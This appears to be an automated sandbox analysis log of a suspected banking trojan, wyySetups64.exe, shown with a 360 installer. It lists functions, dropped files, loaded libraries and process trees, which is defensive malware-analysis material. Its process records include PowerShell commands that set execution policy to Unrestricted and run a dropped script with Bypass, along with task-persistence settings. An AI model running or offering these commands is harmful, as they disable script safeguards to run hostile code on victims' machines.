Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF3CF30	8_2_6BF3CF30
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF38F39	8_2_6BF38F39
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BEE4EC0	8_2_6BEE4EC0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF54C20	8_2_6BF54C20
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BEE4C00	8_2_6BEE4C00
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF50374	8_2_6BF50374
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF3A00E	8_2_6BF3A00E
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF547E0	8_2_6BF547E0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF54730	8_2_6BF54730
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF48651	8_2_6BF48651
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF544B0	8_2_6BF544B0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF39BEE	8_2_6BF39BEE
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF1DBDB	8_2_6BF1DBDB
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF59AE0	8_2_6BF59AE0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF558E0	8_2_6BF558E0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF238D1	8_2_6BF238D1
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF55F50	8_2_6BF55F50
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF3FE58	8_2_6BF3FE58
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF1DCD6	8_2_6BF1DCD6
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF4FC7C	8_2_6BF4FC7C
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BEE5250	8_2_6BEE5250
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF4F1F4	8_2_6BF4F1F4
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF397E2	8_2_6BF397E2
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF557A0	8_2_6BF557A0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF23785	8_2_6BF23785
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF4F738	8_2_6BF4F738
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF53500	8_2_6BF53500
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF514FE	8_2_6BF514FE
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF554D0	8_2_6BF554D0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF3940E	8_2_6BF3940E
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDFACAF	8_2_6CDFACAF
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDEE994	8_2_6CDEE994
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDDEBC4	8_2_6CDDEBC4
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDEE45E	8_2_6CDEE45E
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDFA5B7	8_2_6CDFA5B7
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDF266A	8_2_6CDF266A
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDBBD52	8_2_6CDBBD52
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B9C8E0	9_2_00B9C8E0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B22960	9_2_00B22960
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B1AA00	9_2_00B1AA00
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B4AB33	9_2_00B4AB33
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B30F04	9_2_00B30F04
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B130C0	9_2_00B130C0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B1B050	9_2_00B1B050
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B171F0	9_2_00B171F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B8729C	9_2_00B8729C
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B31281	9_2_00B31281
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B49245	9_2_00B49245
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B174F0	9_2_00B174F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00BA39CB	9_2_00BA39CB
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B93970	9_2_00B93970
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B1FF00	9_2_00B1FF00
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B1FF70	9_2_00B1FF70

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\sites.dll C1EB83993C85E01EE6AE84EB6E05744FF8C3CCC02C41D09C22286E3012EF46FC
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\{DFE14265-3905-4689-9143-1E1473933304}.tmp\360P2SP.dll 0ECA2E140F973B2011C633D4D92E512A1F77E1DA610CFE0F4538C0B451270016

Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B1B680 appears 38 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00BA32AD appears 39 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6BEEAF2A appears 35 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6CDDE89F appears 50 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6BF38E24 appears 211 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6BF2405E appears 140 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6CDDE86C appears 192 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6BF38E8D appears 69 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6BF23F7C appears 178 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B9453E appears 92 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B94D50 appears 75 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B95421 appears 796 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6BF3BD0C appears 53 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6BF23F0C appears 76 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B31BA2 appears 71 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6CD2C2CF appears 204 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B1B780 appears 68 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B28675 appears 259 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B2CC03 appears 40 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B74164 appears 67 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B95454 appears 83 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6CD31300 appears 46 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B9548A appears 41 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 00B947DC appears 64 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6BEE9230 appears 69 times
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: String function: 6BF384F0 appears 50 times
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: String function: 03384300 appears 32 times

Source: wyySetups64.exe

Static PE information: invalid certificate

Source: wyySetups64.exe	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: 360instpatch[1].exe.0.dr	Static PE information: Resource name: CAB type: Microsoft Cabinet archive data, many, 1346052 bytes, 3 files, at 0x2c +A "sites.dll" +A "themes\theme_NewInstallAir.xml", number 1, 81 datablocks, 0x1 compression
Source: 360instpatch[1].exe.0.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 304652 bytes, 1 file, at 0x2c +A "360P2SP.dll", ID 808, number 1, 22 datablocks, 0x1503 compression
Source: 360instpatch[1].exe.0.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 348915 bytes, 1 file, at 0x2c +A "urlproc.dll", number 1, 22 datablocks, 0x1 compression
Source: 360instpatch[1].exe.0.dr	Static PE information: Resource name: LETTER type: Microsoft Cabinet archive data, Windows 2000/XP setup, 781 bytes, 1 file, at 0x2c +A "letter.rtf", number 1, 1 datablock, 0x1 compression
Source: 360instpatch[1].exe.0.dr	Static PE information: Resource name: LICENCE type: Microsoft Cabinet archive data, Windows 2000/XP setup, 12165 bytes, 1 file, at 0x2c +A "licence.rtf", number 1, 2 datablocks, 0x1 compression
Source: 360instpatch[1].exe.0.dr	Static PE information: Resource name: PRIVACY type: Microsoft Cabinet archive data, Windows 2000/XP setup, 11763 bytes, 1 file, at 0x2c +A "privacy.rtf", number 1, 1 datablock, 0x1 compression
Source: 360instpatch[1].exe.0.dr	Static PE information: Resource name: VIEWER type: Microsoft Cabinet archive data, Windows 2000/XP setup, 751718 bytes, 1 file, at 0x2c +A "AgreementViewer.exe", number 1, 53 datablocks, 0x1 compression
Source: 360instpatch.exe.0.dr	Static PE information: Resource name: CAB type: Microsoft Cabinet archive data, many, 1346052 bytes, 3 files, at 0x2c +A "sites.dll" +A "themes\theme_NewInstallAir.xml", number 1, 81 datablocks, 0x1 compression
Source: 360instpatch.exe.0.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 304652 bytes, 1 file, at 0x2c +A "360P2SP.dll", ID 808, number 1, 22 datablocks, 0x1503 compression
Source: 360instpatch.exe.0.dr	Static PE information: Resource name: DLL type: Microsoft Cabinet archive data, Windows 2000/XP setup, 348915 bytes, 1 file, at 0x2c +A "urlproc.dll", number 1, 22 datablocks, 0x1 compression
Source: 360instpatch.exe.0.dr	Static PE information: Resource name: LETTER type: Microsoft Cabinet archive data, Windows 2000/XP setup, 781 bytes, 1 file, at 0x2c +A "letter.rtf", number 1, 1 datablock, 0x1 compression
Source: 360instpatch.exe.0.dr	Static PE information: Resource name: LICENCE type: Microsoft Cabinet archive data, Windows 2000/XP setup, 12165 bytes, 1 file, at 0x2c +A "licence.rtf", number 1, 2 datablocks, 0x1 compression
Source: 360instpatch.exe.0.dr	Static PE information: Resource name: PRIVACY type: Microsoft Cabinet archive data, Windows 2000/XP setup, 11763 bytes, 1 file, at 0x2c +A "privacy.rtf", number 1, 1 datablock, 0x1 compression
Source: 360instpatch.exe.0.dr	Static PE information: Resource name: VIEWER type: Microsoft Cabinet archive data, Windows 2000/XP setup, 751718 bytes, 1 file, at 0x2c +A "AgreementViewer.exe", number 1, 53 datablocks, 0x1 compression
Source: wyySetups64.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: wyySetups64.exe, 00000000.00000002.1816555843.00000000025F8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs wyySetups64.exe
Source: wyySetups64.exe, 00000000.00000003.1676294648.0000000002651000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs wyySetups64.exe
Source: wyySetups64.exe, 00000000.00000000.1652850618.00000000006F4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs wyySetups64.exe
Source: wyySetups64.exe, 00000001.00000002.4117289631.00000000024C8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamekernel32j% vs wyySetups64.exe
Source: wyySetups64.exe	Binary or memory string: OriginalFileName vs wyySetups64.exe
Source: wyySetups64.exe.0.dr	Binary or memory string: OriginalFileName vs wyySetups64.exe

Source: wyySetups64.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 360instpatch.exe.0.dr

Binary string: ZOTAC ZENFASTZENFAS XSTAR XS TAK VASEKY UKINGS TYH TXRUI TURXUN TEKISM TEELKOOUTAISU SS DSUPERSSPSTARSWAYSTARRAM SPCC SHINEDOE SHINEDIS SHINEDISKSAMSWEETREEINNO REEINN RUNENG RAMSTA S QIDAN POWERSSD NETAC SSNETAC SMICROFLA SH MICROFLASH MICROFLAS MERELAIR MAXSUNMACMEMOR LENOVO SLENOVO SLANSHIKUAIKAKINGSTEKKINGSSD_ACSC4MACSC2MACJC2MKINGSPECKINGSHARE KINGSHAR EKING SHAREKING SHAREKING SHA REKINGSANDKINGRICHKINGBANKKINGDINGKINGDIANKDATAJUNSHI INTEIFUNKIFOUNDI-FLASHHY SPEED HY SDEED HISTOR HIGHXGOWE GEIL ZENITHGAMERGALAIRD GALA GAINWARDGLOWAYGLOWA FORSAFASTDISKFASPEE FASPEEDEVTRANEEKOOEAGET SS DDOMONDERLERDRAGONDICABOFITBIOSTAR BIOSTA ASGARD ASINT ASIN APACER ANUCELL GENERIC NCARDHYNIXTECLASTTECLAS KINGFAST COLORFUL COLORFUL SSD NVME ATA KINGSTONPLEXTOR PX-PLEXTO PX-PLEXTO PX-GALAXMICRON MICRON_MLITEONITLITEONSANDISK SANDIS MKNSSDCRUNCOREEDGEPLEXTORMTFDV4-CTM4-CTCRUCIAL ADATA ADATA ADAT PNYAPACERG.SKILLOCZKINGSTONCORSAIRINTELFUJITSUTOSHIB TOSHIBASAMXUNG SAMSUNG1SAMSUN SAMSUNGWDSEAGATESTATA AVD ASDK APPLE HDD ModelASSOCIATORS OF {Win32_DiskPartition.DeviceID='%s'} where ResultClass = Win32_DiskDriveDeviceIDASSOCIATORS OF {Win32_LogicalDisk.DeviceID='%s'} where ResultClass = Win32_DiskPartitionROOT\CIMV2Index\Device\Harddisk\\.\c:%usotmSOFTWARE\360Safe\softmgr\dg{from}{ver}{mid}s.360.cn/safe/instcomp.htm?soft=425&status=%d&mid={mid}&from={from}&ver={ver}&vv=10&appkey=&usetime=%d&downrate=%d&downlen=%dl,M~UG

Source: classification engine

Classification label: mal100.bank.troj.spyw.evad.winEXE@16/33@8/14

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: 8_2_6BEE5930 SetLastError,GetLastError,SetLastError,GetLastError,_wcsrchr,_wcsncpy,_strerror,MultiByteToWideChar,_wcsncpy,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,FormatMessageW,_wcstok,_vswprintf_s,_wcsncpy,GetSystemTime,LocalFree,FreeLibrary,

8_2_6BEE5930

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03377B70 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	1_2_03377B70
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03377740 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	1_2_03377740
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03377620 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,OpenProcess,	1_2_03377620
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BEE7A1F GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,CloseHandle,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,	8_2_6BEE7A1F

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_03376C50 wsprintfW,MultiByteToWideChar,GetDriveTypeW,GetDiskFreeSpaceExW,_memset,GlobalMemoryStatusEx,swprintf,swprintf,

1_2_03376C50

Source: C:\Users\user\Desktop\wyySetups64.exe

Code function: 0_2_1000F260 CreateToolhelp32Snapshot,Process32FirstW,?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z,CloseHandle,_wcsicmp,CloseHandle,Process32NextW,CloseHandle,

0_2_1000F260

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_03376150 wsprintfW,_memset,lstrcatW,lstrcatW,lstrcatW,CoCreateInstance,wsprintfW,RegOpenKeyExW,_memset,wsprintfW,RegOpenKeyExW,_memset,RegQueryValueExW,lstrcatW,lstrcatW,lstrcatW,RegCloseKey,lstrlenW,lstrcatW,

1_2_03376150

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: 8_2_00B80145 _memset,FindResourceW,SizeofResource,LoadResource,LockResource,

8_2_00B80145

Source: C:\Users\user\Downloads\360instpatch.exe

File created: C:\Program Files (x86)\360

Jump to behavior

Source: C:\Users\user\Desktop\wyySetups64.exe

File created: C:\Users\user\AppData\Roaming\wyySetups64.exe

Jump to behavior

Source: C:\Users\user\Downloads\360instpatch.exe	Mutant created: NULL
Source: C:\Users\user\Downloads\360instpatch.exe	Mutant created: \Sessions\1\BaseNamedObjects\1830B7BD-F7A3-4c4d-989B-C004DE465EDE 4460
Source: C:\Users\user\Downloads\360instpatch.exe	Mutant created: \Sessions\1\BaseNamedObjects\1830B7BD-F7A3-4c4d-989B-C004DE465EDE 3192
Source: C:\Users\user\Downloads\360instpatch.exe	Mutant created: \Sessions\1\BaseNamedObjects\Q360SafeInstallerMutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2332:120:WilError_03
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Mutant created: \Sessions\1\BaseNamedObjects\2024.12. 3

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kt5adsyn.rvv.ps1

Jump to behavior

Source: C:\Users\user\Desktop\wyySetups64.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\wyySetups64.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\wyySetups64.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wyySetups64.exe	String found in binary or memory: es>false</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvaila
Source: wyySetups64.exe	String found in binary or memory: es>false</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvaila
Source: wyySetups64.exe	String found in binary or memory: le> <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd>
Source: wyySetups64.exe	String found in binary or memory: le> <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd>
Source: 360instpatch.exe	String found in binary or memory: /pid=%s /noreboot=1 /installer=1 /SMARTSILENCE
Source: 360instpatch.exe	String found in binary or memory: --secore-restore --360se_pid=8000041 --silent-install --not-create-mplnk
Source: 360instpatch.exe	String found in binary or memory: --secore-restore --360se_pid=8000041 --silent-install --not-create-mplnk
Source: wyySetups64.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: wyySetups64.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalidU
Source: wyySetups64.exe	String found in binary or memory: /InstallOnThisVersion: Invalid MinVersion string
Source: wyySetups64.exe	String found in binary or memory: /LoadInf=

Source: C:\Users\user\Desktop\wyySetups64.exe

File read: C:\Users\user\Desktop\wyySetups64.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\wyySetups64.exe "C:\Users\user\Desktop\wyySetups64.exe"
Source: C:\Users\user\Desktop\wyySetups64.exe	Process created: C:\Users\user\AppData\Roaming\wyySetups64.exe "C:\Users\user\AppData\Roaming\wyySetups64.exe"
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1
Source: unknown	Process created: C:\Users\user\Downloads\360instpatch.exe C:\Users\user\Downloads\360instpatch.exe
Source: unknown	Process created: C:\Users\user\Downloads\360instpatch.exe C:\Users\user\Downloads\360instpatch.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\wyySetups64.exe	Process created: C:\Users\user\AppData\Roaming\wyySetups64.exe "C:\Users\user\AppData\Roaming\wyySetups64.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1	Jump to behavior

Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: apphelp.dll	Jump to behavior
